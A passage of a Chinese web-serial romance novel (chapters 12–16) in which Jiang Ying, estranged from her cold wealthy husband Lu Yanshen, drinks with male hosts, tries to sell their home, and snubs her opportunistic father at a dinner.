手机里传来的机械女音,让陆砚深攥紧了拳头。
再打过去,依旧是无法接通。
心里一个念头,让他走到床头边用酒店电话拨了过去。
“嘟,嘟,嘟”
可以打进去。
陆砚深脸色瞬间黑得能滴出水来,江莹竟然把他拉黑了。
江莹跟梁玥这会儿已经放开,感受到手机震动也没在意,直接接通。
“喂!”
女人甜软的声音,让陆砚深顿时火冒三丈。
一个陌生电话都能用这么好听的声音,跟自己说话却一副公事公办的语气。
“江莹!”
听到陆砚深的声音,让江莹微醺的状态瞬间清醒。
做贼心虚,想必就是她此刻的样子。
看着手里的电话,她愣了一瞬,快速反应过来。
狗男人出差还不忘带小情人和私生子去过圣诞节,她找点乐子怎么了?
心虚什么?
怎么这么没出息?
于是,眼珠子转转,声音冷淡,“你哪位?道不道德,这都几点了还给人打电话?滚,别耽误姐姐找乐子。”
说完直接挂断电话,狗东西就该有多远滚多远。
“弟弟,你刚才说那个设计方案后来被认可了吗?”
江莹跟一个弟弟挺谈得来,挂完电话脸上立马挂了笑跟弟弟聊天,毫无违和感。
小伙子叫凌澈,今年二十二,建筑系大四的学弟。
他是服务生,经理没有凑够十个高质量靓仔,硬拉他来凑数。
江莹被他不娇不媚的干净气质吸引,两人一聊没想到是学弟。
“嗯,客户对比过后还是更喜欢我的设计方案,后来还推荐了好几个朋友找我。”
“没想到你还挺有想法。”
凌澈的经历让她很感兴趣,建筑行业不景气,建筑装饰也跟着惨淡,现在学建筑设计就业确实堪忧。
他能另辟蹊径,利用自己的特长去设计饰品盒和高档包装倒是条路。
“我也是生活所迫,我家里条件不好,父母为了我上大学付出了很多。去年我爸查出肺癌,没办法只好想办法挣钱。”
江莹听到他的经历很同情,拿出手机点开了微信,“我们留个联系方式,以后再来找你开酒。”
找他开酒他可以拿提成,江莹是想帮他。
“谢谢,学姐!”
陆砚深单身插兜站在落地窗前,烦躁地抽着烟。
看着十分钟前给江莹发的消息如石沉大海,心里更不爽。
昨天到现在这人就没有给他发消息打电话,竟然还把他拉黑了,这次倒要看看她能闹到什么时候。
一个项目而已,至于吗?
前几天张启明话里话外想参与他手里的人工智能项目,那个利润不知道要高出蓝湾多少。
扫了一眼之前的聊天记录,都是她发的,十条有九条他都不会回复。
现在倒好,学会欲擒故纵了。
不光离家出走,不回消息,还学会点男模来气他。
看来最近是太纵容她了,让她脾气越来越大。
包间里,江莹和梁玥这会儿也已经完全放开,跟几个男生在玩儿色子。
沈斯阳听着里面的划拳声给陆砚深发了条消息:哥们儿进去帮你盯着,放心我这里的人都是卖艺不卖身,只提供情绪价值,不提供特殊服务。
陆砚深:我已经举报,作为兄弟给你提个醒,赶紧解散,要不然等着停业整顿。
沈斯阳:靠,你特么太阴了,你老婆惹得你,跟我有什么关系?
发完消息急忙推门进去,“姑奶奶,你赶紧走吧,警察真来了,我说不清楚。”
谁特么这么狠一下叫十个陪聊。
江莹他们玩儿得正高兴,沈斯阳突然推门进来,包间瞬间静了下来。
“你们几个,赶紧离开,下班。”
陆砚深这狗东西说得出他就做得到,沈斯阳了解他,这家伙向来护食,他的东西从不允许别人动,更别说女人。
他们圈里的哥儿几个曾经闲聊说到江莹,有人就说江莹惹上陆砚深这辈子完了。即便离了婚她也觉得不可能再嫁得出去,陆砚深用过的东西绝对不会给别人用的机会。
这话他深信不疑。
十个靓仔见自家老板进来直接让他们走人,不敢停留各个快速起身离开。
只有凌澈小声跟江莹道别:“学姐,有机会见。”
江莹好不容易从颓丧的情绪里出来,看到身边的人一个个离开,好看的眉眼皱在一起。
“别走啊,我还没有学会怎么把色子叠起来呢。”
“这个我会,等姐姐下次来,我教你。”
江莹苦着脸,“我想现在就学。”
男生看沈斯阳瞪着他,不敢耽搁匆忙离开。
江莹本来就不喜欢沈斯阳,他可是陆砚深和秦欣共同的朋友,一直站队陆砚深和秦欣。
怎么说呢,就是他们俩看彼此都不顺眼,但因为有陆砚深在又不得不装和气。
但现在陆砚深她的不要了,他的朋友又算老几?
“沈斯阳,你这是干什么,我付了钱的。”
“江莹,你别害我,我跟老陆什么关系,你在我这儿点模子不是让我难做吗?”
说完他咬咬牙,“钱我让前台退你,赶紧回去休息。”
“你开门做生意,我花钱找乐子,碍着谁了?陆砚深正在秦欣的温柔乡呢,你这么怕他做什么,你是他养的?”
江莹喝得有点晕乎,说话间还打了一个酒嗝儿。
但不想影响她怼沈斯阳。
沈斯阳也没有想到江莹竟然直接跟他翻脸,但好男不跟女斗,更何况是喝醉的女酒鬼。
“我给老陆留着面子,不跟你计较,你们赶紧走。”
“还真是陆砚深养的好狗,他不在,你替他看着。”
沈斯阳这会儿回过味来,江莹刚刚说他是陆砚深养的,怕就是说他是陆砚深养的狗吧?
“死丫头你嘴巴放干净点啊,她我不能怎么着,你我可是不会手软。”
梁玥站直,挺了挺胸脯,“你想怎么着,来呀,姐姐怕你不是。”
沈斯阳上下打量了她一番,冷笑,“再挺你也没有,那么小就别强装了。”
他视线落在梁玥胸前,一脸鄙夷。
“卧槽,你往哪儿看呢。”
江莹不嫌事儿大,“宝儿,揍他,医药费我负责,反正陆砚深卡里有的是钱。”
第12章 陆砚深不行
“我去,江莹,你有种,以前怎么没看出来。”
他说话间,梁玥已经撸了袖子上来,从小学跆拳道,打架她就没有怕过。
沈斯阳咬牙,没有跟女人打过架,但这女的欺人太甚,他刚要上前被经理拉住。
“沈总,既然是你朋友,还是别闹的动静太大,你不是说警察可能会来吗?虽然我们不怕查,但打架斗殴影响也不好。”
今天晚上是他一时钱迷心窍,一下子点这么多陪聊,确实容易让人误解招惹事端。
梁玥大着舌头开口骂,“陆砚深狗东西能跟小情人出双入对,我家宝儿就不能出来快活一下,他算个什么东西。”
沈斯阳原本气得不行,听着姑娘口出狂言,顿时乐了,敢这么骂陆砚深的没几个,就是不知道她酒醒了敢不敢。
不管怎么说先拍下来恶心一下陆砚深,让他阴。
“你有种继续骂。”
我有什么不敢的,“他有几个臭钱了不起呀,放在老娘手里,一天揍他八百顿,敢浪就阉了他,看他还怎么出去骚。”
“整天拽得二五八万一样,以为全天下就他一个会行走的diao?”
沈斯阳边拍着视频边乐,这个女人是真虎。
“三条腿的蛤蟆不好找,两条腿的男人满街跑。”江莹乐呵呵接话,“就他那种中看不中用的,早就该扔了。”
沈斯阳举着手机的手一抖,我去,老陆竟然不行。
“江莹,老陆不中用吗?”
“两个月一次,你觉得呢?”
江莹懒懒靠在沙发上,抿着小酒神情不屑。
沈斯阳八卦地笑笑,“那确实挺不中用的。”
心想陆砚深一脸禁欲高冷的样子,原来是不行啊。他一八八的高个子,还坚持健身,不至于这么菜吧?
江莹红唇微勾,带着股轻蔑,“姐要不是看他脸长得还行,腹肌也还凑合早把他踢了。不过我今天在你这里算是开眼了,以前的自己就是井底之蛙,没有吃过好的才会看上他。”
沈斯阳憋着笑,不知道江莹是不是真的醉了,她怎么敢这么说?
“你该不会跟老陆生气,故意这么说吧?”
江莹摇了摇手指头,眉眼染着笑意,语气轻松,“我已经不跟他生气了,有生气那时间,还不如出来跟弟弟玩会儿。八块腹肌,可盐可甜的弟弟不香吗,我干嘛扒着一块儿老腊肉?”
“你看看你这里的弟弟,那个不是身材好颜值高,而且情绪价值给得高。”
“我是有多傻才会想不通。”
江莹其实也就微醺的状态,她对自己的言行并不是一无所知,之所以这么说就是知道沈斯阳会跟陆砚深说。
刚好他在偷拍,那就当说给陆砚深听了。
把这两天的窝囊气都发出来。
“宝儿,我们走吧,别人这个二傻子说那么多废话。一个怂包打架都不敢,跟废物有什么区别?”
梁玥刚刚跟人玩儿色子连输了好几把,喝的酒比江莹多,她这会儿是真醉。
沈斯阳咬牙,为了不给自己惹麻烦,好男不跟女斗。
江莹放下酒杯,勾唇一笑,“沈总,拜拜了,改天我再来。”
沈斯阳心想你可别来了,再来我这里非黄了不可。
“好嘞,改天我请你喝酒。”
江莹抿唇笑笑,这还是沈斯阳第一次说请她喝酒,之前见面都不怎么愿意搭理她。
看着两个女人手挽手脚步虚浮地离开,沈斯阳转头交代,“安排人跟着,确保安全。”
他交代完将自己拍的视频直接发给陆砚深,然后还不忘给他留言。
【我认识一个医生在男性方面很厉害,找机会介绍给你。】
【大家几十年的兄弟,这事儿在我这里不用顾及面子。】
【两个月一次确实太不行了,江莹这么哈着你的人都受不了,还有哪个女人愿意跟你?】
陆砚深情绪平复,躺床上准备睡觉,听到消息提示声鬼使神差地又拿起了手机。
看到沈斯阳发过来的消息,瞬间皱眉。
随手点进去看到视频,开灯坐了起来。
待看完视频,他咬牙点了根烟。
平时温顺的小猫一样的女人,今天明艳大气,那满不在乎的架势,处处透着洒脱。
看得他不由地勾起了唇角。
只是在听到她说自己不行时,瞬间阴了脸。
沈斯阳那个大嘴巴,肯定会跟个大喇叭一样到处乱说,假的也变成了真的。
他拿起手机给江莹发消息:我不行吗?
陆砚深:是谁每次哭着喊着求饶。
发完他看着手机发呆,从来没有人敢不回他微信,也没有人敢让他等,所以他从不知道等一个人的消息心里会无所适从,空落落的。
江莹看到消息心口发紧,看来他不是不会发消息,也不是没有时间,三年来一直是她在发在等他回复。
以往发出去的消息要么不回,要么隔好久才会回复,今天破天慌给她发了三条消息。
三年了,竟然在将要离婚的时候,让他情绪有了波动。
江莹咬唇轻笑,笑曾经的自己太傻,笑自己默默缩在客厅的等待太可笑。
孩子都那么大了,她等的时候他在谁的床上?
关了手机望着车窗外流光溢彩的街景,她弯唇笑了。
往事如烟,但今后的路她会好好走。
到了梧桐里,江莹扶着梁玥回家,两人到了之后倒头就睡。
一觉睡到自然醒后,是梁玥的尖叫声,“啊……”
江莹被她吵醒,“见鬼了?”
“快十点了,我迟到了,十点半要开会过我手里的剧本。”
“你换衣服,我给你挤牙膏。”
江莹交了辞职报告就开始休假,三年了她从来没有休过假,刚好在离职前把所有的假都休了。
两人着急忙慌,总算在十点钟把梁玥送走。
她刚坐下准备吃点东西,手机响起。
看到是中介的电话,她直接接通。
“江小姐,今天方便去看房吗?有客户对咱们这套房很感兴趣。”
比市场价低了八百万,而起里面的所有家具都是一线品牌,沙发是意大利进口谁买到谁赚。
更为难得的是湖心公馆之前是不对外销售的,里面住的人非富即贵,住在里面的隐形好处多多,要买房子的人也不是冲房子本身,而是冲它的潜在价值。
“可以,你带人直接去就行,门锁密码我发你。”
她这边走不开,王嫂约了今天上午来送东西。
“好的,今天有三个客户,我带人看完再联系您。”
电话挂断,江莹暗暗盘算,卖了自己能拿到五千万,以后再也不用看任何人的脸色,可以专心做自己喜欢的事。
转念想到陆砚深回来看到自己被扫地出门,会不会杀了她?
第13章 她把家卖了
看到微信里有个不太熟悉的头像发来消息,她直接点了进去。
【师姐,这是我设计的东西,你看看,若是喜欢给我送你一个,也可以给我提提意见。】
看到内容,江莹想起来昨晚那个有些腼腆,因为家庭困难努力挣钱的男生。
图片里都是古朴典雅的首饰盒,还有漂亮的礼品袋子。
整体设计大气,古韵雄厚。
不得不说在,这小伙子很有天赋,设计感很强,而且处处透着用心。
江莹回复:首饰盒很漂亮,师姐不能白要,你给我个链接我自己下单。
凌澈的这类设计,中年女性应该会特别喜欢,尤其知性的女人,讲究品味,体现档次。
这让她觉得自己或许可以扩展一下,把自己这两年的想法正式提上日程。
业余,除了照顾陆砚深,她也在做自己喜欢的事。
在梁玥的支持和鼓励下,她在网上开了一个账号,专门买一些古风摆件。
当然都是她自己设计,找工厂做好,由工厂直接发货。
生意不算火,但每月也有订单,若是把凌澈的想法融入进去,或许产品种类就不在单一,可以覆盖很广。
或许还可以帮到凌澈解决就业难的问题。
她也曾有过跟凌澈一样的困境,当初母亲车祸后,张启明以公司资金周转不灵,不交医药费。
为了凑集母亲的医药费,江莹四处打工,也是从那时候她认识到父亲的凉薄。
后来她嫁给陆砚深,张启明需要她吹枕边风,才不敢不交医药费。
凌澈:我就是觉得遇到师姐挺有缘,刚好你感兴趣,没有想让你买的意思。
江莹:别不好意思,我是真心感兴趣,师姐不缺钱,但对你来说能收入一点是一点。
江莹语气很诚恳,她确实是不想占他便宜,何况是一个身负重担的大学生。
凌澈拧不过,最后只好发了链接。
两人结束聊天后,江莹思索良久给宋瑾修发了条消息:师哥,你出差回来我请你吃饭吧?
对方秒回:好啊,回去了给你电话。
江莹:嗯。
宋瑾修:舅舅那里有个妆奁要修复,他一直想找你,但又生你的气拉不下面子,你要有空去看看。
江莹愣了一瞬,宋瑾修还是那么懂她。
她的老师钟宏是宋瑾修名义上的舅舅,自从她进了陆氏,钟老师就不爱搭理她,主要是恨铁不成钢。
每次想知道老师的情况,都是从师兄这里知道的。
若是她没有猜错,逍遥楼项目,应该也是老师让师兄通知她的。
毕竟当年就是为了跟老师一起去参加逍遥楼复原研讨会出的车祸。
想到那个倔强又对她有愧的小老头儿,江莹抿唇笑了笑。
江莹:好的,我周末过去,也有段时间没见钟老师了。
放下手机,江莹吐了一口气,以前什么事都围绕陆砚深,迁就他的时间,迁就他的喜欢,连吃饭都迁就他的口味儿。
现在离开他,反而觉得浑身轻松。
不用取悦他人,完全跟随自己的喜好安排自己的生活,挺爽!
想到这里,她拿起手机下楼,中午要奖励自己一顿麻辣香锅。
陆砚深那个废物,吃点辣的就窜稀,跟他过一点辣都不能沾。
自己都佩服自己的自控力,三年能陪着他吃那些寡淡的饭菜。
吃完饭顺便逛了个街,过几天是母亲生日,提前去看看有没有合适的生日礼物。
从未有过的轻松让她浑身舒畅。
三年了,她几乎没有自己的生活,周一到周五上班,照顾陆砚深的生活。周末不是去陆家老宅就是去疗养院看望母亲。
连梁玥都说她的日子很无聊。
现在想想确实无聊。
不光无聊还犯贱。
每天睡觉前搭配好陆砚深第二天要穿的衣物,熨烫好挂在衣帽间。
甚至是袜子和内裤都会给他备好。
也难怪路陆砚深说她连他内裤穿什么颜色她都管,因为都是她买的。
现在好了,一身轻松。
入夜,又约了梁玥去了迷度。
还真的找凌澈开了瓶酒,趁机跟凌澈聊一下她的想法。
刷的依旧是陆砚深的卡,一瓶酒八万,她和梁玥从来没有这么奢侈过。
反正陆砚深的钱她拿不走,能多花就多花点,省得留给后来人。
更何况酒价越高,凌澈拿的提成也越高,何乐而不为。
只是这种轻松在隔天下午被中介一通电话打断。
“江小姐,麻烦您来一趟,我正带客户看房,被陆先生赶了出来。”
江莹愣了一瞬,看了看时间,不是说五天嘛,怎么提前一天回来了。
原本她是计划明天下午回湖心公馆等陆砚深,跟他当面说清楚的。
没想到他提前回来了。
这是客户第二次看房,很有望成交,被陆砚深这么一闹,她这房子还怎么卖?
江莹换了衣服开车往湖心公馆赶,得先稳住客户。房子是她的,她想卖陆砚深拦不住。
下午五点,陆砚深到达湖心公馆。
本来五天的行程压缩到了四天,整个人透着疲惫,坐在后排闭目养神。
杜宇也不知道老板怎么了,昨天突然让他调整节奏,压缩时间。
车子刚到别墅门口,他愣了。
院子里停了两辆车,心想难道是太太叫了朋友来玩儿?
“陆总,车库门被挡住了,要不您先下车?”
闻言,陆砚深缓缓睁开眼,看到家里房门大开,还停着两辆车,心里疑惑。
他跟江莹隐婚,她从来没有带朋友来家里玩儿过,这是趁他不在家带朋友回来了?
疑惑着进门,看到客厅站着的四个人,他顿住脚步。
“哥,这套房子您都不用犹豫,您看看这套沙发,纯意大利进口,没有两百万都回不到国内。”
“您再看看整个屋里的家具,都是一线品牌私人订制。”
“还有卧室的床垫,每一张都不低于二十万。”
“整个装修设计简约大气,处处透着用心和讲究,再说了这么多年您有看到湖心公馆有房出售吗?”
听到这里,江复行明白了,这事中介带人来看房的。
王嫂第一个看到他,赶忙迎了过来。
“先生,您回来了?”
陆砚深压着心里翻涌的愤怒走进客厅,看到空荡荡的屋子攥紧了拳头。
“太太呢?”
“太太好多天没有回来了。”
“怎么回事?”
他的出现让屋里的人愣了一瞬,看到佣人对他毕恭毕敬,中介上前刚准备开口,被他带来的客户一把推开。
“陆总,您怎么在这儿?”
客户是新元电子的老板高盛,陆氏旗下子公司有用他们的产品,他在陆氏的年会上经过陆砚深。
一直没有机会搭上的人没想到在这里见到了。
看来湖心公馆真的是个财富聚集地,连陆砚深都住在这里。
“你在我家,问我为什么在这儿?”陆砚深声音不悦,想染了霜,透着寒意。
中介看陆砚深态度不好,怕自己单子飞了,赶忙过来打招呼,“原来是业主,是这样,高先生对你们这套房子很感兴趣,既然都认识,那就是缘分。”
听到这话,本就沉着脸的男人,脸色彻底黑了下来。
出个差回来,她把家卖了?
第14章 陆总被扫地出门
陆砚深懒得听他们说话,心里憋着气吩咐,“王婶送人。”
“陆总,这是不是有误会,我是真心实意想买这套房。”
高盛想攀关系,不明白哪里得罪了陆砚深,他竟然连看都不看他一眼。
中介隐隐意识到事情的简单,要不然这么好的房子怎么会比市场价低那么多卖。
他慌忙给江莹打电话,这几天不能白忙活,眼看今天就能签意向合同,这可是真金白银。
江莹接到电话就让他们在湖心公馆等着,对她而言就指着这五千万潇洒呢。
离婚协议上的三个亿,她没有把握拿到,陆砚深若是不想给她,她怕是一分都拿不到。
江莹赶到时,两名中介和高盛两口子站在院里神色焦急。
看她下车,中介立马迎了上来,“江小姐,你们这房子怎么回事?”
“不用管他,这房子是我的房子,我有权利处置。”
陆砚深听到车子声就从楼上下来,走到门口就听到江莹笃定的声音。
“江莹,你闹够了没有,我出个差,你要把家给卖了?”
陆砚深看着站在院里身着白色羽绒服的女人,不施粉黛,却清纯水润。
说她是大学生都不会有人怀疑。
“陆总,这房子是我的我想怎么处理是我的事。”
院里的人愣住,这两人到底是什么关系,尤其是看江莹这么娇俏可人,不由地想两人是不是金主和金丝雀的关系。
尤其是高盛,他毕竟也是见过些世面的,听到过不少关于陆砚深的传闻,知道他跟秦欣的八卦,唯独没有听说过他结婚。
“这是爷爷给我们的婚房,你闹脾气也该有个度,我不会一直纵容你。”
江莹冷笑,“陆总是不是对纵容这个词有误解?”
听到婚房,高盛和中介懵了,难道这是要离?
高盛看看他老婆小声道:“这房子再便宜我们也不能碰,看陆总这样子,若是我们要买,他怕是不会让我们好过。”
他老婆很不甘心地看看中介,“小伙子,你看这情况……”
中介也觉得窝火,皱眉道:“江小姐,你看你这闹的,没有确定要卖,就别找我们嘛。我们两个跟着忙前忙后这么多天,你这不是耍人吗?”
“对不起,这房子我肯定会卖,不会让你白辛苦。”
江莹解释,视线转向陆砚深,幽怨中裹着愤怒。
陆砚深的情绪也好不到哪儿,他上楼看到书房和卧室全空了,江莹和他的东西也都不见,心里别提多窝火。
他出个差而已,这个女人竟然把他扫地出门了。
这几天急急忙忙处理完合作的事回来,结果家没了。
杜宇一直没有走,看这架势,在陆砚深一旁小声劝道:“陆总,太太闹脾气,其实也可以理解,蓝湾的事……”
对上陆砚深冰冷的眸子,他瞬间转移方向,“太太向来乖巧,您看要不给她个台阶。”
“陆总,你的东西已经送到云水涧,还请离开。”
江莹强硬的开口,让原本就生气的陆砚深更烦躁。
向来乖巧的人现在像个野猫,瞪着她,一步不让。
他脸色也不好,吩咐杜宇,“给物业打电话,我不想在家里看到外人。”
“陆砚深,你讲不讲理,这是我的房子,我有权处置。”
杜宇为难,太太这是怎么了,向来温顺的性格,怎么倔起来比陆总还难搞。
正僵持,陆砚深电话响起。
看到张启明的电话,他吸了一口气接通,嗓音冷淡,“喂。”
“砚深,听说你出差回来了,我在醉雨轩定了包间,你看要不要跟莹莹一起过来吃个饭。”
陆砚深拧眉看了一眼江莹,走到她跟前,低声道:“今天换套路了?我差点就信了。”
声音乍一听依旧冷漠,却连他自己都没有注意到他这会儿情绪明显放松了不少,不似刚刚的剑拔弩张。
他的突然靠近,让江莹下意识后退,“不明白你在说什么,赶紧走,别耽误我卖房子。”
陆砚深垂眸看着她白皙细腻的皮肤,嗓音低沉,“杜宇,你留下处理,房子我买了,把钱打给太太。”
心想算是给她个台阶下,也算是蓝湾项目对她的补偿。
他说完,抬步从台阶上来下,抓起江莹的手腕就走。
“陆砚深,你有病吧,我的房子不卖给你。”
江莹挣扎着,另一只手直接掐在他的手背上。
陆砚深直接松了手,改而搂住她的腰,转头在她耳边低语,“你爸在醉雨轩定了包间,要闹当着你爸的面闹。”
江莹瞬间明白,这货以为她这么闹,就是为了帮张启明要项目。
她这个有跟没有一样,成事不足败事有余的爹。
自己做了这么多努力,却还是让陆砚深以为她别有用心,根本就不是真的想离婚。
高盛看着一身清冷的陆砚深,心想江北人人都不敢惹的人,竟然差点被老婆扫地出门,这是什么惊天新闻?
看他这架势,还挺在乎他老婆,不但没把人怎么着,还搂在了一起。
江莹上车,恶狠狠道:“陆砚深,我没有跟你闹脾气,从我说出离婚那一刻,我就是认真的。”
陆砚深睨了她一眼,“等会儿见到你爸,你当着他的面说。”
江莹气结,本来就不想让他知道多生事端,现在让她当着张启明的面说,这不是存心让她离不了吗?
“陆总,你知道我爸不会同意,肯定会想方设法阻止,这对你百害无一利。”
陆砚深很累,不想跟她说话,干脆闭上了眼睛。
耳边是她软软的声音,莫名不烦躁,还有困意。
“你不是最烦他动不动想掺和你的项目,还顶着你老丈人的头衔到处捞好处。刚好,我们离婚你就可以摆脱他。”
“当然,最大的好处你可以跟你喜欢的人名正言顺在一起,给她一个名分,不至于让她被人指指点点。”
陆砚深眯着眼,嗓音淡淡:“你这么贤惠我该怎么谢你?”
“我要的不多,离婚补偿我三个亿就行。”
“你倒是敢要,这几年你爸从我这里捞走的好处嫌不够,想拿离婚来个趁火打劫?”
江莹转头看他半眯着眼一脸疲惫,心里冷嗤,出去一趟又是工作,又是陪情人和孩子,累成狗了想起回家。
“陆总别说那么难听,我尽心尽力伺候你三年,现在又主动给你的小青梅让位置,这是我应得的。没喊说你婚内出轨,让你净身出户已经是我仁慈。”
陆砚深斜睨了她一眼,“你出什么力了,哪次不是我出力你享受,还说自己不贪心。”
第15章 我是狗,你天天跟狗睡
江莹没想到这人会这么不要脸,瞪了他一眼不理他,心里盘算着等会儿怎么应付。
陆砚深嘴角勾起若有似无的笑,每次张启明想找他要好处,江莹都会想各种借口,无论怎么闹脾气,最终会回到她爸的诉求上。
显然这次也不会例外。
刚回家时,他看到空荡荡的房间,整个人的感觉很不好,要不是知道江莹很爱他,离不开他,真会信以为真。
女人身上淡淡的清香是鸢尾花的味道,丝丝缕缕萦绕在鼻尖。
熟悉的气息,安静的环境,陆砚深身心彻底放松,眯着眼睛有睡意。
一直到醉雨轩,他都没有醒。
车子停稳,江莹视线落在他脸上。
陆砚深无疑是好看的,睡着的他少了平日的清冷凉薄,多几分少见的柔和。
下巴上有新长的胡渣,浑身透着疲惫,看样子这几天确实很辛苦。
想到这里,江莹瞬间抬手在自己头上打了一巴掌,心疼男人倒霉一辈子。
他陪着小三和私生子happy,玩儿累了,想起回家睡觉,什么玩意儿。
“狗东西,怎么不累死你。”江莹自言自语。
却没有注意到男人睫毛颤了颤,下一秒清冷寡淡的嗓音响起,“我这么恨我?我是狗,你天天跟狗睡?”
江莹怔了一下,从来没有背后骂过人,没想到第一次骂就当事人被听到。
虽然有点窘迫,但她依旧装凶,“别逼我更恨你,逼急了手起刀落。”
“谋杀亲夫?”
“阉了你。”
江莹瞪了他一眼,开门下车。
陆砚深咬唇轻笑,真是换套路了,还是飒爽风的,就是不知道里面那位会不会拖她后腿。
他迈着大长腿下车,整理好自己的衣服,步履沉稳,不疾不徐。
剪裁完美的深灰色西装贴合着他修长的身形,举手投足间矜贵不凡。
左手随意插在西裤口袋里,这个本该显得随意的动作在他做来却格外从容——仿佛整个世界都是他的主场,而他只是恰好路过。
江莹眼睛余光扫了他一眼,心想不怪自己没出息,是这狗东西太会长。
要不然也不至于在他身上栽了这么多年。
两人到时,张启明已经等在包间,旁边还坐着江莹堂哥张旭。
母亲生她之后身体一直不好,不能再生育,当初奶奶想把堂哥张旭养在父亲名下,外公不同意,说有一个江莹够了,为此奶奶没少给她母亲脸色。
现在外公和舅舅都去世了,母亲又呆呆愣愣三年,早就没有人护着她。
江家的一切顺理成章落到张启明手里,跟她没什么关系,甚至一度连母亲的医药费她都付不起。
“砚深,这一趟挺顺利吧,凯瑞你能拿下,对你现在布局新能源那可是如虎添翼。”
看到陆砚深进来,张启明乐呵呵站起身。
那个关切,让江莹都嫉妒,长这么大没有这么对她笑过。
陆砚深脱掉西装外套随手递给江莹,是他一贯的动作。
以前不觉得有什么,但现在,却让江莹想到了王嫂。
或许是人的心境不一样了,思维逻辑也不同,之前看不清的事,现在异常清晰。
在陆砚深心里,她没什么地位。
“消息还挺灵通。”男人声音寡淡,闲庭信步走到餐桌旁。
张旭殷勤地给他拉开椅子,声音里带着讨好,“二叔关心你,在路上看到你的车就给我打电话,让我定位置,说是你胃不好,这一趟估计吃不消那边的饭菜。”
江莹看着两个大男人把陆宴深当亲爹敬着,完全看不见她这个背景板,唇角勾起一抹冷笑。
抬手将陆宴深的衣服往旁边的椅子上一扔,自顾自坐了下去。
别人看不见她,自己招待自己,反正要吃饭,刚好有人备好了。
陆砚深转脸看着她,微微挑眉,显然是等着看她接下去怎么演。
张启明看她拉着脸,讪笑道:“你这孩子,怎么就只顾着自己吃了。砚深辛苦,刚出差回来,你照顾好他,看他喜欢吃什么,多给他夹点。”
张启明说着给江莹使眼色,陆砚深见怪不怪,他们父女两人一贯的相处模式。
“我是来吃饭的,不是来伺候人的,你们叔侄俩这么上赶着自己伺候吧。”
江莹第一次当着陆宴深的面给张启明难堪,倒让陆宴深挺意外。
以前无论她看上去多不情愿,都会顾全大局,给张启明留颜面。
但今天像个小野猫,时不时亮出尖牙。
偏偏张启明又不能骂她,只能忍气吞声,“这孩子,不就是前天回家说了你两句,还生爸爸气呢?我跟你奶奶不也是为了你跟砚深好,结婚几年了你也该收收心给砚深生个孩子。”
听到孩子,陆砚深看着江莹的眸色深了几分,看来这次胃口不小,竟然都拿孩子说事了。
抬手抽了根烟,好整以暇看着她。
“爸,我说过家里的事我不会再管,今天就是来吃饭的,看不惯我可以走。”
张旭看到陆砚深拿出烟,殷勤地上前给他点烟,还不忘劝江莹,“莹莹,别说气话,妹夫在呢。”
他一口一个妹夫叫得亲切,像是看不到陆砚深眼底的不屑,当然也有可能是习以为常了。
毕竟这三年,她都没有入陆砚深的眼,更别说她的家人。
“砚深,她就这脾气,难为你这几年包容她。”张启明给他夹菜,“来吃饭,累一天了。”
陆砚深看着江莹抽了一口烟,眉峰上挑,像是在说:闹来闹去,还不是为了你爸。
江莹知道这货之所以来就是故意的,他怎么可能不知道她爸请他来是什么目的。
他就是想看她笑话,觉得她卖房子就是欲擒故纵,想帮她爸要项目。
江莹瞪了他一眼,然后自动屏蔽任何人的话和表情,闷头吃饭。
果然,饭吃了不到十分钟,张启明开口,“砚深,你这次新能源的项目做得不小,能不能让江氏跟着……”
“那个我吃饱了哈,你们慢慢聊,我约了朋友看电影,就先走了。”
江莹放下筷子,拿起包起身走人。
张启明脸色一僵,没醒到这丫头竟然当着陆砚深的面这个态度,即便她不说话坐在那里也好过拍拍屁股走人。
陆砚深显然没有想到江莹闷头吃饱就走,心想这么好的机会她错过,之后要怎么演?
第16章 狗男人报复她
其实,江莹之所以来也是存心的。
她就是要张启明没有机会开口,或者说即便开口也没有机会让陆砚深同意。
她让陆砚深不爽,狗东西怎么还会给张启明好处,他又不是做慈善的?
陆砚深看江莹真的走了,起身拿起外套,嗓音客气疏离:“张总,我也先走了。”
张启明每次听到他这叫“张总”心里都憋得很,谁家女婿这么称呼老丈人?
但气归气,在绝对的利益面前,他选择忍着。
陆砚深从醉雨轩出来,看到江莹在路边等车,走了过去。
“这么好的机会不替你爸说两句话,以后不一定有机会。”
“陆砚深,没有让你如愿很失望吧?我告诉你,我要离婚不是嘴上说说。我爸那里我已经跟他说过,江家的事我不会管,你也不用再面对你不喜欢的人。”
江莹说完,她叫得网约车在她面前停下。
她抬步上车,被陆砚深拉住胳膊,“你这脾气要闹到什么时候?”
“真把自己当根葱,谁给你闹脾气了。”
江莹甩开他的手径直上车。
将近一周了,这是她生气最长的一次。
陆砚深看着渐行渐远的车尾灯,脸色沉了下来。
湖心公馆。
陆砚深疲惫的回到家,看到黑灯瞎火的房子,烦闷不已。
抬步进屋,看到一切回归原样,心里轻松不少。
但依旧觉得空落落的。
江莹已经拉黑他五天,没有给他发过一条消息,以前她闹别扭从来没有超过三天。
想到今天带刺的女人,陆砚深烦躁地摸了根烟,看着手机里停留在几天前的消息,嘴角勾起一抹冷笑。
还挺有骨气,这次倒要看看她怎么收场!
次日,陆砚深难得起的晚。
几天舟车劳顿疲惫是有,主要是身边没有人,他翻到后半夜才睡着。
因为昨晚没吃什么东西,还被张启明劝了一杯酒,胃里很不舒服。
“王嫂,给我盛碗粥。”
陆砚深按着胃在餐桌旁坐下,眉心微蹙。
“先生,你胃不舒服?”
陆砚深点头,垂眸翻看手机,那个让他生气的女人一夜未归,也没有回消息。
“现在煮粥来不及了,太太每次煮粥都是六点钟就起来,要熬一个半小时。而且,之前我住煮的你都说不是那个味儿。”
王嫂的话让陆砚深拧眉,不由得眸色沉冷了几分。
随便吃了两口,看时间有些晚就没有去公司,直接去书房处理工作。
十点钟,大姐陆君打来电话。
“砚深,宁宁回来了,中午带江莹一起过来吃个饭,我有东西给她,刚好诺诺也想你了。”
陆砚深回着邮件,淡淡开口,“好,地址发我。”
挂断电话,他随手给江莹发消息:陆欣放假回来,大姐让我们中午一起吃饭,十一点半我去接你。
陆君比他大十岁,都说长姐如母,父母去世后,陆君几乎把弟弟看成眼珠子。
可以说是她一手带大的。
陆宁是陆砚深二叔的女儿,跟陆君关系不错。
发完消息,他抬手端起水杯,送到嘴边才发现里面是空的。
这些年已经习惯了江莹无微不至的照顾,他自己甚至都没有想起来倒水。
看着空荡荡的水杯,陆砚深眸色渐深。
迟迟等不到江莹回复,陆砚深起身点了根烟。
扫到书桌一角垃圾桶里的平安符,脚步顿住。
弯腰捡起来翻看,“至此终年”四个字让他想到车里挂的那两个。
